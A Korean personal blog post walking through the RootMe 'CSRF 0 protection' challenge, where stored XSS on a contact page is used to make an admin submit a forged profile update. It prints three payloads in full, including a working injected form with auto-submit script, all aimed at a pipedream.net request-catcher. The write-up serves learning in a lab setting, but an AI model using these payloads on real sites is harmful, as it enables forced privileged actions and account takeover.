메모장 입니다2
RootMe.org - CSRF 0 protection 본문
문제
- 로그인 페이지
- 가입과 로그인이 있다
- 로그인 후
- contact, profile, private가 존재한다.
- contact 페이지에서 메일주소와 내용을 입력하면 admin이 확인을 하며 XSS가 발생한다.
- profile에서 username에 대해 update 가능한데(아마 권한상승) admin만 가능하다.
- 내 계정을 update 시킨 후 private를 확인하면 될 것 같다.
풀이
contact페이지에서 XSS시켜서 admin으로 내 계정을 update 시키는 CSRF를 발생시키면 될것 같다.
페이로드
첫번째
innerHTML을 이용한 form data 삽입
document.body.innerHTML += '<form id="dynForm" action="https://enc73fsxphmbf.x.pipedream.net/" method="post"><input type="hidden" name="q" value="a"></form>'; document.getElementById("dynForm").submit();
- 안된다.
- 이유는 모르겠지만, 다른 페이지로 시도해본 결과 stored 된 후 접근을 할 때 코드실행이 안되는것 같다.
두번째
원인을 찾았다
엔터를 삽입할 경우
로 치환되서 들어가기 때문에 script구문 에러가 발생한다.띄어쓰기는 문제없으므로 라인피드만 제거해서 다시 삽입하겠다.
xmlHttpRequest 이용
<script>url="https://enc73fsxphmbf.x.pipedream.net/";var data = new FormData();data.append('username', 'test123');if(window.XMLHttpRequest){xmlHttpReq = new XMLHttpRequest();}else{xmlHttpReq=new ActiveXObject("Microsoft.XMLHTTP"); } xmlHttpReq.open('POST', url, true); xmlHttpReq.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xmlHttpReq.setRequestHeader('X-CSRF-Token', 'abcdef'); xmlHttpReq.send(data);</script>
안된다.. XMLHttpRequest가 안되는건가..
세번째
- 그냥 form태그를 바로 삽입 후 script로 submit 시키기
<form id='woounnan' action="https://enc73fsxphmbf.x.pipedream.net/" method="post" enctype="multipart/form-data"><input type="text" name="username" value="guest"><input type="checkbox" name="status" checked"></form><script>document.getElementById('woounnan').submit();</script>
- 잘됨
- 그냥 form태그를 바로 삽입 후 script로 submit 시키기
'Study > 웹' 카테고리의 다른 글
XSS gaming - level 1~6 (0) | 2020.02.27 |
---|---|
Rootme.org - csrf token bypass (0) | 2020.02.27 |
Rootme.org - XSS stored 1 (0) | 2020.02.26 |
Webhakcking.kr - chall2 (0) | 2020.02.25 |
블라인드 sql 인젝션 - 컬럼, 테이블 명 알아내기 및 기타 등등 (0) | 2020.02.25 |